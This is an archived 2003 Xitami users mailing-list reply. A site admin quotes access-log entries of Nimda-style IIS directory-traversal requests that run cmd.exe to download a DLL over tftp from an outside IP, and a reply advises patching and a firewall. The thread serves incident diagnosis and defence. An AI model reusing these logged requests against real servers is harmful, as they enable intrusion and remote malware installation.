[Xitami] Security Issue - Disabling Script Processing
admin
xitami@lists.xitami.org
Tue, 14 Jan 2003 15:29:32 -0800
This is a multi-part message in MIME format.
------=_NextPart_000_058F_01C2BBE1.BCB724B0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
You are in trouble.
This looks like a Nimda or codered attack.
It attaks a range of ip=B4s, and when at last find some with the pants =
down it
tries to exploit a security "crater" in MS systems.
Download the latest updates from msupdate.
Then install a descent firewall, at least zonealarm.
If you succeed patching the holes then the logs should tell 404 not 200.
Good luck:
Carlos
Ps: more info is available at ms website.
----- Original Message -----
From: "Rob @ BMM" <Rob@bluemarblemeds.com>
To: <xitami@lists.xitami.org>
Sent: Tuesday, January 14, 2003 9:40 AM
Subject: [Xitami] Security Issue - Disabling Script Processing
> Hi,
>
> Please forgive me if I have not sent this correctly to the group.
>
> Can somebody help me with this.
>
> Periodically, I see in the access logs and error logs, an attempt from =
a
> hacker to run certain types of scripts in a cmd window such as the
> following:
>
> "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%=
20G
> ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%=
20G
> ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%=
20G
> ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 =
""
""
> "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20=
GET
> %20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20=
GET
> %20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20=
GET
> %20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>
> Notice that the hacker successfully used tftp to send some info back =
to
> himself. My router logs confirmed that this occurred. I have since
> eliminated all access rights to tftp. Not even the admin has rights
> anymore. Since this is on a Win2k system, you just can't delete or =
rename
> certain system executables such as cmd.exe or tftp.exe. Windows just
> restores it automatically.
>
> The question is: Since I run a simple HTML only site and don't need =
CGI
> processing, what can I do to eliminate all script processing of this
nature.
>
> PS - The rest of you probably encounter some of these same security
issues.
> You should check.
>
> Best Regards,
> Rob Allen
> President, Blue Marble Meds LLC. Offering 30-75% off Prescription =
Meds
> See us at http://www.BlueMarbleMeds.com
>
>
>
> --
> Xitami Users Mailing List -- For Xitami support
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami
------=_NextPart_000_058F_01C2BBE1.BCB724B0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>You are in trouble.<BR>This looks like a Nimda or codered=20
attack.<BR>It attaks a range of ip=B4s, and when at last find some with =
the pants=20
down it<BR>tries to exploit a security "crater" in MS =
systems.<BR>Download the=20
latest updates from msupdate.<BR><BR>Then install a descent firewall, at =
least=20
zonealarm.<BR><BR>If you succeed patching the holes then the logs should =
tell=20
404 not 200.<BR><BR>Good luck:<BR><BR>Carlos<BR><BR>Ps: more info is =
available=20
at ms website.<BR><BR>----- Original Message -----<BR>From: "Rob @ BMM" =
<<A=20
href=3D"mailto:Rob@bluemarblemeds.com">Rob@bluemarblemeds.com</A>><BR>=
To:=20
<<A=20
href=3D"mailto:xitami@lists.xitami.org">xitami@lists.xitami.org</A>><B=
R>Sent:=20
Tuesday, January 14, 2003 9:40 AM<BR>Subject: [Xitami] Security Issue -=20
Disabling Script Processing<BR><BR><BR>> Hi,<BR>><BR>> Please =
forgive=20
me if I have not sent this correctly to the group.<BR>><BR>> Can =
somebody=20
help me with this.<BR>><BR>> Periodically, I see in the access =
logs and=20
error logs, an attempt from a<BR>> hacker to run certain types of =
scripts in=20
a cmd window such as the<BR>> following:<BR>><BR>>=20
"GET<BR>><BR>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%=
20208.179.58.54%20G<BR>>=20
ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>>=20
"GET<BR>><BR>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%=
20208.179.58.54%20G<BR>>=20
ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>>=20
"GET<BR>><BR>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%=
20208.179.58.54%20G<BR>>=20
ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>> "GET=20
/scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>> "GET=20
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1=20
""<BR>""<BR>>=20
"GET<BR>><BR>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20=
208.179.58.54%20GET<BR>>=20
%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>>=20
"GET<BR>><BR>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20=
208.179.58.54%20GET<BR>>=20
%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>>=20
"GET<BR>><BR>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20=
208.179.58.54%20GET<BR>>=20
%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""<BR>><BR>> =
Notice that=20
the hacker successfully used tftp to send some info back to<BR>>=20
himself. My router logs confirmed that this occurred. I have =
since<BR>> eliminated all access rights to tftp. Not even the =
admin has=20
rights<BR>> anymore. Since this is on a Win2k system, you just =
can't=20
delete or rename<BR>> certain system executables such as cmd.exe or=20
tftp.exe. Windows just<BR>> restores it =
automatically.<BR>><BR>>=20
The question is: Since I run a simple HTML only site and don't need =
CGI<BR>>=20
processing, what can I do to eliminate all script processing of=20
this<BR>nature.<BR>><BR>> PS - The rest of you probably encounter =
some of=20
these same security<BR>issues.<BR>> You should check.<BR>><BR>> =
Best=20
Regards,<BR>> Rob Allen<BR>> President, Blue Marble Meds =
LLC. =20
Offering 30-75% off Prescription Meds<BR>> See us at <A=20
href=3D"http://www.BlueMarbleMeds.com">http://www.BlueMarbleMeds.com</A><=
BR>><BR>><BR>><BR>>=20
--<BR>> Xitami Users Mailing List -- For Xitami support<BR>> To=20
unsubscribe: <A=20
href=3D"http://lists.xitami.org/mailman/listinfo/xitami">http://lists.xit=
ami.org/mailman/listinfo/xitami</A><BR></DIV></BODY></HTML>
------=_NextPart_000_058F_01C2BBE1.BCB724B0--